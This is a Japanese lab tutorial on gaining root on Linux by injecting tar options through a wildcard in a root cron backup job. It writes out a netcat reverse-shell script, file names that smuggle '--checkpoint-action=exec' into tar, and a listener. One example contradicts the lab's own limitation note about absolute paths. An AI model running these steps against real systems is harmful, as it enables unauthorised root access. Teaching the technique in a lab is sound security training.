はじめに
この実験では、Linux システムでの権限昇格に使用される手法であるワイルドカードインジェクションについて学びます。具体的には、広く使用されている tar コマンドにおけるワイルドカードインジェクションの原理を探り、crontab ユーティリティと組み合わせてこの脆弱性を利用して root 権限を取得する実践的な演習を行います。
この実験では、Linux システムでの権限昇格に使用される手法であるワイルドカードインジェクションについて学びます。具体的には、広く使用されている tar コマンドにおけるワイルドカードインジェクションの原理を探り、crontab ユーティリティと組み合わせてこの脆弱性を利用して root 権限を取得する実践的な演習を行います。
まず、ワイルドカードとは何か、および Linux シェルでどのように動作するかを理解しましょう。ワイルドカードは、ファイル名やパスのセットを表すか、またはそれらに一致させるために使用できる特殊文字または文字シーケンスです。
以下はいくつかの一般的なワイルドカードです。
*
(アスタリスク)は、ファイル名またはパス内の任意の数の文字(0 文字を含む)に一致します。?
(疑問符)は、任意の 1 文字に一致します。[]
(角括弧)は、括弧内に指定された文字セット内の任意の 1 文字に一致します。~
(チルダ)は、現在のユーザーのホームディレクトリを表します。ユーザー名が続く場合は、別のユーザーのホームディレクトリを表します。権限昇格の文脈では、*
と -
のワイルドカードが一般的に使用されます。まず、シェルが -
文字をどのように解釈するかを探ってみましょう。
ターミナルを開き、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
現在のディレクトリには --help
という名前のファイルがあります。このファイルの内容をどのように表示できるかを考え、実験してみてください。
cat --help
コマンドを使用すると、--help
ファイルの内容を表示する代わりに、cat
コマンドのヘルプメッセージが表示されます。
同様に、vim --help
を使用すると、vim
コマンドのヘルプメッセージが表示されます。
これは、Linux シェルが -
をコマンド引数として解釈するためです。
--help
ファイルの内容を表示するには、ファイル名を -
で始めないようにする必要があります。次のように使用できます。
cat /home/labex/project/--help
この方法では、シェルは --help
を引数として解釈しないため、ファイルの内容を表示できます。
次に、好きなエディタを使用して --help
ファイルの内容を変更しましょう。たとえば、nano
を使用できます。
nano /home/labex/project/--help
既存の内容を削除し、次のテキストをファイルに追加します。
I can read the file
nano を保存して終了します。
このシェルの動作が、ワイルドカードインジェクションが利用するものです。
ワイルドカードインジェクションは、多くの場合 cron ジョブと組み合わせて使用されます。では、tar コマンドを含む実際の例を探ってみましょう。
ワイルドカードインジェクションがどのようにして権限昇格につながるかを理解するために、tar コマンドと crontab を使った実践的な演習を行います。
まず、次のコマンドを実行して実験環境を初期化しましょう。
/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
セットアップスクリプトを実行して実験環境を初期化します。
./env_setup.sh
初期化後、user001
ユーザーに切り替わります(最初のシェルアクセスを獲得した攻撃者をシミュレートしています)。
次に、スケジュールされたタスクの crontab を確認しましょう。
cat /etc/crontab
期待される出力:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
1 分ごとに実行されるタスクがあり、/var/www/html/
ディレクトリの内容を圧縮ファイル /var/backups/html.tgz
にアーカイブすることがわかります。
次に、/var/www/html
ディレクトリ内のファイルを見てみましょう。
ls /var/www/html
ワイルドカードインジェクションの脆弱性を利用するには、/var/www/html/
ディレクトリに以下の 3 つのファイルを作成する必要があります。
まず、/var/www/html
ディレクトリに移動します。
cd /var/www/html/
リバースシェルを実行する内容の shell.sh
ファイル:
echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
--checkpoint-action=exec=sh shell.sh
という名前のファイル(ファイル名にスペースがあることに注意):
echo "" > "--checkpoint-action=exec=sh shell.sh"
--checkpoint=1
という名前のファイル:
echo "" > --checkpoint=1
これらのファイルを作成した後、/var/www/html/
ディレクトリは次のようになります。
'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
cron ジョブが次のコマンドを実行するとき:
tar -zcf /var/backups/html.tgz /var/www/html/*
これは次のように解釈されます。
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
ここで、パラメータの意味を説明します。
--checkpoint
と --checkpoint-action
は通常一緒に使用されます。前者はチェックポイントを設定し、後者はチェックポイントに到達したときに実行するアクションを指定します。--checkpoint-action=exec=sh shell.sh
は、チェックポイントに到達したときに shell.sh
スクリプトが実行されることを意味します。したがって、cron ジョブが実行されるたびに、shell.sh
スクリプトが実行され、/bin/bash
がローカルポート 4444 にリバースシェル接続します。
現在のシェルでローカルポート 4444 でリスナーを設定しましょう。
nc -lnvp 4444
しばらく待つと、cron ジョブが実行され、root 権限でリバースシェルを受け取るはずです。
期待される出力:
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 56226
/root
ディレクトリに success.txt
ファイルを作成して、root 権限を持っていることを確認してみましょう。
touch /root/success.txt
何の権限エラーもなくファイルを作成できれば、ワイルドカードインジェクションを使って権限昇格に成功したことになります。
この tar + crontab を用いた権限昇格手法には 2 つの重要な制限があります。
html
ディレクトリには「その他」のユーザーに対する書き込み (w) 権限が必要です。そうすることで、そのディレクトリに shell.sh
などのファイルを作成できます。
crontab 内の tar
コマンドには絶対パスを含めないようにします。たとえば、crontab エントリが次のようになっている場合:
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
ワイルドカードインジェクションは失敗します。なぜなら、シェルはこのコマンドを次のように解釈するからです。
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html
この場合、/var/www/html/--checkpoint=1
と /var/www/html/--checkpoint-action=exec=sh shell.sh
は tar
コマンドの引数として解釈されず、インジェクションは失敗します。
この実験では、Linux システムでの権限昇格に使用される手法であるワイルドカードインジェクションについて学びました。広く使用されている tar コマンドにおけるワイルドカードインジェクションの原理を探り、crontab ユーティリティと組み合わせてこの脆弱性を利用して root 権限を取得する実践的な演習を行いました。この実験を通じて、実際の権限昇格の脆弱性を理解し、悪用する実践的な経験を積むことができました。これは、セキュリティ専門家やシステム管理者にとって不可欠なスキルです。